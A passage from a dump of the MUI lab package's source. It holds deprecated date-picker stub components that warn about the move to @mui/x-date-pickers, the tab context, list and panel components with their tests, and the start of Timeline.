    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The MonthPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { MonthPicker } from '@mui/x-date-pickers'`\",\n        \"or `import { MonthPicker } from '@mui/x-date-pickers/MonthPicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype MonthPickerComponent = (<TDate>(\n  props: MonthPickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The MonthPicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst MonthPicker = React.forwardRef(function DeprecatedMonthPicker() {\n  warn();\n\n  return null;\n}) as MonthPickerComponent;\n\nexport default MonthPicker;\n\nexport const monthPickerClasses = {};\n\nexport const getMonthPickerUtilityClass = (slot: string): string => {\n  warn();\n  return '';\n};\n\nexport type MonthPickerProps<TDate> = Record<any, any>;\nexport type MonthPickerClassKey = any;\n"
  },
  {
    "path": "packages/mui-lab/src/MonthPicker/index.ts",
    "content": "export { default } from './MonthPicker';\nexport * from './MonthPicker';\n"
  },
  {
    "path": "packages/mui-lab/src/PickersDay/PickersDay.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The PickersDay component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { PickersDay } from '@mui/x-date-pickers'`\",\n        \"or `import { PickersDay } from '@mui/x-date-pickers/PickersDay'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype PickersDayComponent = (<TDate>(\n  props: PickersDayProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The PickersDay component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst PickersDay = React.forwardRef(function DeprecatedPickersDay<TDate>() {\n  warn();\n\n  return null;\n}) as PickersDayComponent;\n\nexport default PickersDay;\n\nexport const pickersDayClasses = {};\n\nexport const getPickersDayUtilityClass = (slot: string): string => {\n  warn();\n  return '';\n};\n\nexport type PickersDayProps<TDate> = Record<any, any>;\nexport type PickersDayClassKey = any;\n"
  },
  {
    "path": "packages/mui-lab/src/PickersDay/index.ts",
    "content": "export { default } from './PickersDay';\nexport * from './PickersDay';\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDatePicker/StaticDatePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The StaticDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { StaticDatePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype StaticDatePickerComponent = (<TDate>(\n  props: StaticDatePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The StaticDatePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst StaticDatePicker = React.forwardRef(function DeprecatedStaticDatePicker() {\n  warn();\n\n  return null;\n}) as StaticDatePickerComponent;\n\nexport default StaticDatePicker;\n\nexport type StaticDatePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDatePicker/index.ts",
    "content": "export { default } from './StaticDatePicker';\nexport * from './StaticDatePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDateRangePicker/StaticDateRangePicker.ts",
    "content": "/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The StaticDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`',\n        '',\n        \"You should use `import { StaticDateRangePicker } from '@mui/x-date-pickers-pro'`\",\n        \"or `import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype StaticDateRangePickerComponent = (<TDate>(\n  props: StaticDateRangePickerProps & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The StaticDateRangePicker component was moved from `@mui/lab` to `@mui/x-date-pickers-pro`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst StaticDateRangePicker = React.forwardRef(function DeprecatedStaticDateRangePicker() {\n  warn();\n\n  return null;\n}) as StaticDateRangePickerComponent;\n\nexport default StaticDateRangePicker;\n\nexport type StaticDateRangePickerProps = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDateRangePicker/index.ts",
    "content": "export { default } from './StaticDateRangePicker';\nexport * from './StaticDateRangePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDateTimePicker/StaticDateTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The StaticDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { StaticDateTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype StaticDateTimePickerComponent = (<TDate>(\n  props: StaticDateTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The StaticDateTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst StaticDateTimePicker = React.forwardRef(function DeprecatedStaticDateTimePicker() {\n  warn();\n\n  return null;\n}) as StaticDateTimePickerComponent;\n\nexport default StaticDateTimePicker;\n\nexport type StaticDateTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/StaticDateTimePicker/index.ts",
    "content": "export { default } from './StaticDateTimePicker';\nexport * from './StaticDateTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/StaticTimePicker/StaticTimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The StaticTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { StaticTimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { StaticTimePicker } from '@mui/x-date-pickers/StaticTimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype StaticTimePickerComponent = (<TDate>(\n  props: StaticTimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The StaticTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst StaticTimePicker = React.forwardRef(function DeprecatedStaticTimePicker() {\n  warn();\n\n  return null;\n}) as StaticTimePickerComponent;\n\nexport default StaticTimePicker;\n\nexport type StaticTimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/StaticTimePicker/index.ts",
    "content": "export { default } from './StaticTimePicker';\nexport * from './StaticTimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/TabContext/TabContext.d.ts",
    "content": "import * as React from 'react';\n\nexport interface TabContextValue {\n  idPrefix: string;\n  value: string;\n}\n\nexport interface TabContextProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * The value of the currently selected `Tab`.\n   */\n  value: string | number;\n}\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [TabContext API](https://next.mui.com/material-ui/api/tab-context/)\n */\nexport default function TabContext(props: TabContextProps): React.JSX.Element;\nexport function useTabContext(): TabContextValue | null;\nexport function getPanelId(context: TabContextValue, tabValue: string): string;\nexport function getTabId(context: TabContextValue, tabValue: string): string;\n"
  },
  {
    "path": "packages/mui-lab/src/TabContext/TabContext.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\n/**\n * @type {React.Context<{ idPrefix: string; value: string } | null>}\n */\nconst Context = React.createContext(null);\nif (process.env.NODE_ENV !== 'production') {\n  Context.displayName = 'TabContext';\n}\n\nfunction useUniquePrefix() {\n  const [id, setId] = React.useState(null);\n  React.useEffect(() => {\n    setId(`mui-p-${Math.round(Math.random() * 1e5)}`);\n  }, []);\n  return id;\n}\n\nexport default function TabContext(props) {\n  const { children, value } = props;\n  const idPrefix = useUniquePrefix();\n\n  const context = React.useMemo(() => {\n    return { idPrefix, value };\n  }, [idPrefix, value]);\n\n  return <Context.Provider value={context}>{children}</Context.Provider>;\n}\n\nTabContext.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * The value of the currently selected `Tab`.\n   */\n  value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\n/**\n * @returns {unknown}\n */\nexport function useTabContext() {\n  return React.useContext(Context);\n}\n\nexport function getPanelId(context, value) {\n  const { idPrefix } = context;\n  if (idPrefix === null) {\n    return null;\n  }\n  return `${context.idPrefix}-P-${value}`;\n}\n\nexport function getTabId(context, value) {\n  const { idPrefix } = context;\n  if (idPrefix === null) {\n    return null;\n  }\n  return `${context.idPrefix}-T-${value}`;\n}\n"
  },
  {
    "path": "packages/mui-lab/src/TabContext/TabContext.test.js",
    "content": "// @ts-check\nimport * as React from 'react';\nimport * as ReactDOMServer from 'react-dom/server';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TabContext, { getPanelId, getTabId, useTabContext } from './TabContext';\n\ndescribe('<TabContext />', () => {\n  const { render, renderToString } = createRenderer();\n\n  it('is null by default', () => {\n    let value;\n    function Tabs() {\n      // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- value is used outside of component\n      value = useTabContext();\n      return null;\n    }\n\n    render(<Tabs />);\n\n    expect(value).to.equal(null);\n  });\n\n  it('provides an id prefix for IDREFs and the active value', () => {\n    /**\n     *\n     * @param {{value: string}} props\n     */\n    function Tabs({ value }) {\n      const context = useTabContext();\n      if (context === null) {\n        throw new TypeError();\n      }\n\n      return (\n        <React.Fragment>\n          <div data-testid=\"active-value\" data-value={context.value} />\n          <div role=\"tab\" id={getTabId(context, value)} />\n          <div role=\"tabpanel\" id={getPanelId(context, value)} />\n        </React.Fragment>\n      );\n    }\n\n    render(\n      <TabContext value=\"0\">\n        <Tabs value=\"0\" />\n      </TabContext>,\n    );\n\n    const tabId = screen.getByRole('tab').id;\n    const tabpanelId = screen.getByRole('tabpanel').id;\n    expect(tabId.length).to.at.least(1);\n    expect(tabpanelId.length).to.at.least(1);\n    expect(tabId).not.to.equal(tabpanelId);\n    expect(screen.getByTestId('active-value')).to.have.attribute('data-value', '0');\n  });\n\n  it('provides undefined tab and panel prefixes and the active value when ssr', () => {\n    /**\n     *\n     * @param {{value: string}} props\n     */\n    function Tabs({ value }) {\n      const context = useTabContext();\n      if (context === null) {\n        throw new TypeError();\n      }\n\n      return (\n        <React.Fragment>\n          <div data-testid=\"active-value\" data-value={context.value} />\n          <div role=\"tab\" id={getTabId(context, value)} />\n          <div role=\"tabpanel\" id={getPanelId(context, value)} />\n        </React.Fragment>\n      );\n    }\n\n    const view = ReactDOMServer.renderToStaticMarkup(\n      <TabContext value=\"0\">\n        <Tabs value=\"0\" />\n      </TabContext>,\n    );\n\n    expect(view).to.equal(\n      '<div data-testid=\"active-value\" data-value=\"0\"></div><div role=\"tab\"></div><div role=\"tabpanel\"></div>',\n    );\n  });\n\n  it('hydrates tab and tabpanel prefixes', () => {\n    /**\n     * @param {{value: string}} props\n     */\n    function Tabs({ value }) {\n      const context = useTabContext();\n      if (context === null) {\n        throw new TypeError();\n      }\n\n      return (\n        <React.Fragment>\n          <div role=\"tab\" id={getTabId(context, value)} />\n          <div role=\"tabpanel\" id={getPanelId(context, value)} />\n        </React.Fragment>\n      );\n    }\n    const reactElement = (\n      <TabContext value=\"0\">\n        <Tabs value=\"0\" />\n      </TabContext>\n    );\n    const { hydrate } = renderToString(reactElement);\n    hydrate();\n\n    const tabId = screen.getByRole('tab').id;\n    const tabpanelId = screen.getByRole('tabpanel').id;\n    expect(tabId.length).to.at.least(1);\n    expect(tabpanelId.length).to.at.least(1);\n    expect(tabId).not.to.equal(tabpanelId);\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TabContext/index.d.ts",
    "content": "export { default } from './TabContext';\nexport * from './TabContext';\n"
  },
  {
    "path": "packages/mui-lab/src/TabContext/index.js",
    "content": "export { default } from './TabContext';\nexport * from './TabContext';\n"
  },
  {
    "path": "packages/mui-lab/src/TabList/TabList.d.ts",
    "content": "import * as React from 'react';\nimport { TabsTypeMap } from '@mui/material/Tabs';\nimport { DistributiveOmit } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '@mui/material/OverridableComponent';\n\ninterface TabListOwnProps extends DistributiveOmit<TabsTypeMap['props'], 'children' | 'value'> {\n  /**\n   * A list of `<Tab />` elements.\n   */\n  children?: React.ReactNode;\n}\n\nexport interface TabListTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = TabsTypeMap['defaultComponent'],\n> {\n  props: AdditionalProps & TabListOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [TabList API](https://next.mui.com/material-ui/api/tab-list/)\n * - inherits [Tabs API](https://next.mui.com/material-ui/api/tabs/)\n */\ndeclare const TabList: OverridableComponent<TabListTypeMap>;\n\nexport type TabListClassKey = keyof NonNullable<TabListTypeMap['props']['classes']>;\n\nexport type TabListProps<\n  RootComponent extends React.ElementType = TabListTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TabListTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n\nexport default TabList;\n"
  },
  {
    "path": "packages/mui-lab/src/TabList/TabList.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Tabs from '@mui/material/Tabs';\nimport { useTabContext, getTabId, getPanelId } from '../TabContext';\n\nconst TabList = React.forwardRef(function TabList(props, ref) {\n  const { children: childrenProp, ...other } = props;\n  const context = useTabContext();\n  if (context === null) {\n    throw new TypeError('No TabContext provided');\n  }\n  const children = React.Children.map(childrenProp, (child) => {\n    if (!React.isValidElement(child)) {\n      return null;\n    }\n\n    return React.cloneElement(child, {\n      // SOMEDAY: `Tabs` will set those themselves\n      'aria-controls': getPanelId(context, child.props.value),\n      id: getTabId(context, child.props.value),\n    });\n  });\n\n  return (\n    <Tabs {...other} ref={ref} value={context.value}>\n      {children}\n    </Tabs>\n  );\n});\n\nTabList.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * A list of `<Tab />` elements.\n   */\n  children: PropTypes.node,\n};\n\nexport default TabList;\n"
  },
  {
    "path": "packages/mui-lab/src/TabList/TabList.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Tab from '@mui/material/Tab';\nimport Tabs, { tabsClasses as classes } from '@mui/material/Tabs';\nimport TabList from './TabList';\nimport TabContext from '../TabContext';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TabList />', () => {\n  const { render } = createRenderer();\n\n  // @ts-ignore mui name does not exist for this component\n  describeConformance(<TabList />, () => ({\n    classes,\n    inheritComponent: Tabs,\n    /**\n     * @param {React.ReactNode} node\n     */\n    render: (node) => render(<TabContext value=\"0\">{node}</TabContext>),\n    refInstanceof: window.HTMLDivElement,\n    skip: ['themeDefaultProps', 'themeStyleOverrides', 'themeVariants', 'rootClass'],\n  }));\n\n  // outside of TabContext pass every test in Tabs\n\n  it('provides the active value to Tab so that they can be indicated as selected', () => {\n    render(\n      <TabContext value=\"0\">\n        <TabList>\n          <Tab value=\"0\" />\n          <Tab value=\"1\" />\n        </TabList>\n      </TabContext>,\n    );\n\n    const [tabOne, tabTwo] = screen.getAllByRole('tab');\n\n    expect(tabOne).to.have.attribute('aria-selected', 'true');\n    expect(tabTwo).to.have.attribute('aria-selected', 'false');\n  });\n\n  it('should accept a null child', () => {\n    render(\n      <TabContext value=\"0\">\n        <TabList>\n          <Tab value=\"0\" />\n          {null}\n        </TabList>\n      </TabContext>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TabList/index.d.ts",
    "content": "export { default } from './TabList';\nexport * from './TabList';\n"
  },
  {
    "path": "packages/mui-lab/src/TabList/index.js",
    "content": "export { default } from './TabList';\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/TabPanel.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport { TabPanelClasses } from './tabPanelClasses';\n\nexport interface TabPanelProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TabPanelClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The `value` of the corresponding `Tab`. Must use the index of the `Tab` when\n   * no `value` was passed to `Tab`.\n   */\n  value: string | number;\n  /**\n   * Always keep the children in the DOM.\n   * @default false\n   */\n  keepMounted?: boolean | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [TabPanel API](https://next.mui.com/material-ui/api/tab-panel/)\n */\nexport default function TabPanel(props: TabPanelProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/TabPanel.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { getTabPanelUtilityClass } from './tabPanelClasses';\nimport { getPanelId, getTabId, useTabContext } from '../TabContext';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, hidden } = ownerState;\n\n  const slots = {\n    root: ['root', hidden && 'hidden'],\n  };\n\n  return composeClasses(slots, getTabPanelUtilityClass, classes);\n};\n\nconst TabPanelRoot = styled('div', {\n  name: 'MuiTabPanel',\n  slot: 'Root',\n})(({ theme }) => ({\n  padding: theme.spacing(3),\n}));\n\nconst TabPanel = React.forwardRef(function TabPanel(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTabPanel' });\n\n  const { children, className, value, keepMounted = false, ...other } = props;\n\n  const ownerState = {\n    ...props,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const context = useTabContext();\n  if (context === null) {\n    throw new TypeError('No TabContext provided');\n  }\n  const id = getPanelId(context, value);\n  const tabId = getTabId(context, value);\n\n  return (\n    <TabPanelRoot\n      aria-labelledby={tabId}\n      className={clsx(classes.root, className)}\n      hidden={value !== context.value}\n      id={id}\n      ref={ref}\n      role=\"tabpanel\"\n      ownerState={ownerState}\n      {...other}\n    >\n      {(keepMounted || value === context.value) && children}\n    </TabPanelRoot>\n  );\n});\n\nTabPanel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Always keep the children in the DOM.\n   * @default false\n   */\n  keepMounted: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The `value` of the corresponding `Tab`. Must use the index of the `Tab` when\n   * no `value` was passed to `Tab`.\n   */\n  value: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\nexport default TabPanel;\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/TabPanel.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TabPanel, { tabPanelClasses as classes } from '@mui/lab/TabPanel';\nimport TabContext from '../TabContext';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TabPanel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TabPanel value=\"0\" />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render: (node) => render(<TabContext value=\"0\">{node}</TabContext>),\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiTabPanel',\n    skip: ['componentProp', 'themeDefaultProps', 'themeVariants'],\n  }));\n\n  it('renders a [role=\"tabpanel\"] and mounts children', () => {\n    render(\n      <TabContext value=\"0\">\n        <TabPanel data-testid=\"tabpanel\" value=\"0\">\n          <div data-testid=\"child\" />\n        </TabPanel>\n      </TabContext>,\n    );\n\n    expect(screen.getByTestId('tabpanel')).to.have.attribute('role', 'tabpanel');\n    expect(screen.queryByTestId('child')).not.to.equal(null);\n  });\n\n  it('is [hidden] when TabPanel#value !== TabContext#value and does not mount children', () => {\n    render(\n      <TabContext value=\"1\">\n        <TabPanel data-testid=\"tabpanel\" value=\"0\">\n          <div data-testid=\"child\" />\n        </TabPanel>\n      </TabContext>,\n    );\n\n    expect(screen.getByTestId('tabpanel')).to.have.property('hidden', true);\n    expect(screen.queryByTestId('child')).to.equal(null);\n  });\n\n  it('is [hidden] when TabPanel#value !== TabContext#value but does mount children when keepMounted', () => {\n    render(\n      <TabContext value=\"1\">\n        <TabPanel data-testid=\"tabpanel\" value=\"0\" keepMounted>\n          <div data-testid=\"child\" />\n        </TabPanel>\n      </TabContext>,\n    );\n\n    expect(screen.getByTestId('tabpanel')).to.have.property('hidden', true);\n    expect(screen.queryByTestId('child')).not.to.equal(null);\n  });\n\n  it('is accessible when TabPanel#value === TabContext#value', () => {\n    render(\n      <TabContext value=\"0\">\n        <TabPanel data-testid=\"tabpanel\" value=\"0\" />\n      </TabContext>,\n    );\n\n    expect(screen.getByTestId('tabpanel')).not.toBeInaccessible();\n  });\n\n  it('allows flow content', () => {\n    render(\n      <TabContext value=\"0\">\n        <TabPanel value=\"0\">\n          <h2>Panel 0</h2>\n          <p>The content of panel 0</p>\n        </TabPanel>\n      </TabContext>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/index.d.ts",
    "content": "export { default } from './TabPanel';\nexport * from './TabPanel';\n\nexport { default as tabPanelClasses } from './tabPanelClasses';\nexport * from './tabPanelClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/index.js",
    "content": "export { default } from './TabPanel';\n\nexport { default as tabPanelClasses } from './tabPanelClasses';\nexport * from './tabPanelClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TabPanel/tabPanelClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TabPanelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root `div` element if `hidden={true}`. */\n  hidden: string;\n}\n\nexport type TabPanelClassKey = keyof TabPanelClasses;\n\nexport function getTabPanelUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTabPanel', slot);\n}\n\nconst tabPanelClasses: TabPanelClasses = generateUtilityClasses('MuiTabPanel', ['root', 'hidden']);\n\nexport default tabPanelClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimePicker/TimePicker.tsx",
    "content": "'use client';\n/* eslint-disable @typescript-eslint/no-unused-vars */\nimport * as React from 'react';\n\nlet warnedOnce = false;\n\nconst warn = () => {\n  if (!warnedOnce) {\n    console.warn(\n      [\n        'MUI: The TimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`.',\n        '',\n        \"You should use `import { TimePicker } from '@mui/x-date-pickers'`\",\n        \"or `import { TimePicker } from '@mui/x-date-pickers/TimePicker'`\",\n        '',\n        'More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.',\n      ].join('\\n'),\n    );\n\n    warnedOnce = true;\n  }\n};\n\ntype TimePickerComponent = (<TDate>(\n  props: TimePickerProps<TDate> & React.RefAttributes<HTMLDivElement>,\n) => React.JSX.Element) & { propTypes?: any };\n\n/**\n * @deprecated The StaticTimePicker component was moved from `@mui/lab` to `@mui/x-date-pickers`. More information about this migration on our blog: https://mui.com/blog/lab-date-pickers-to-mui-x/.\n * @ignore - do not document.\n */\nconst TimePicker = React.forwardRef(function DeprecatedTimePicker() {\n  warn();\n\n  return null;\n}) as TimePickerComponent;\n\nexport default TimePicker;\n\nexport type TimePickerProps<TDate> = Record<any, any>;\n"
  },
  {
    "path": "packages/mui-lab/src/TimePicker/index.ts",
    "content": "export { default } from './TimePicker';\nexport * from './TimePicker';\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/Timeline.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Timeline, { timelineClasses as classes } from '@mui/lab/Timeline';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Timeline />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Timeline />, () => ({\n    classes,\n    inheritComponent: 'ul',\n    render,\n    muiName: 'MuiTimeline',\n    refInstanceof: window.HTMLUListElement,\n    testVariantProps: { position: 'left' },\n    testStateOverrides: { prop: 'position', value: 'left', styleKey: 'positionLeft' },\n    skip: ['componentProp'],\n  }));\n\n  it('should have correct classname', () => {\n    render(<Timeline data-testid=\"timeline-root\" position=\"alternate-reverse\" />);\n\n    expect(screen.getByTestId('timeline-root')).to.have.class(\n      'MuiTimeline-positionAlternateReverse',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/Timeline.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport TimelineContext from './TimelineContext';\nimport { TimelineClassKey, getTimelineUtilityClass } from './timelineClasses';\nimport convertTimelinePositionToClass from '../internal/convertTimelinePositionToClass';\nimport { TimelineProps } from './Timeline.types';\n\ntype OwnerState = TimelineProps;\n\nconst useUtilityClasses = (ownerState: OwnerState) => {\n  const { position, classes } = ownerState;\n\n  const slots = {\n    root: ['root', position && convertTimelinePositionToClass(position)],\n  };\n\n  return composeClasses(slots, getTimelineUtilityClass, classes);\n};\n\nconst TimelineRoot = styled('ul', {\n  name: 'MuiTimeline',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      styles.root,\n      ownerState.position &&\n        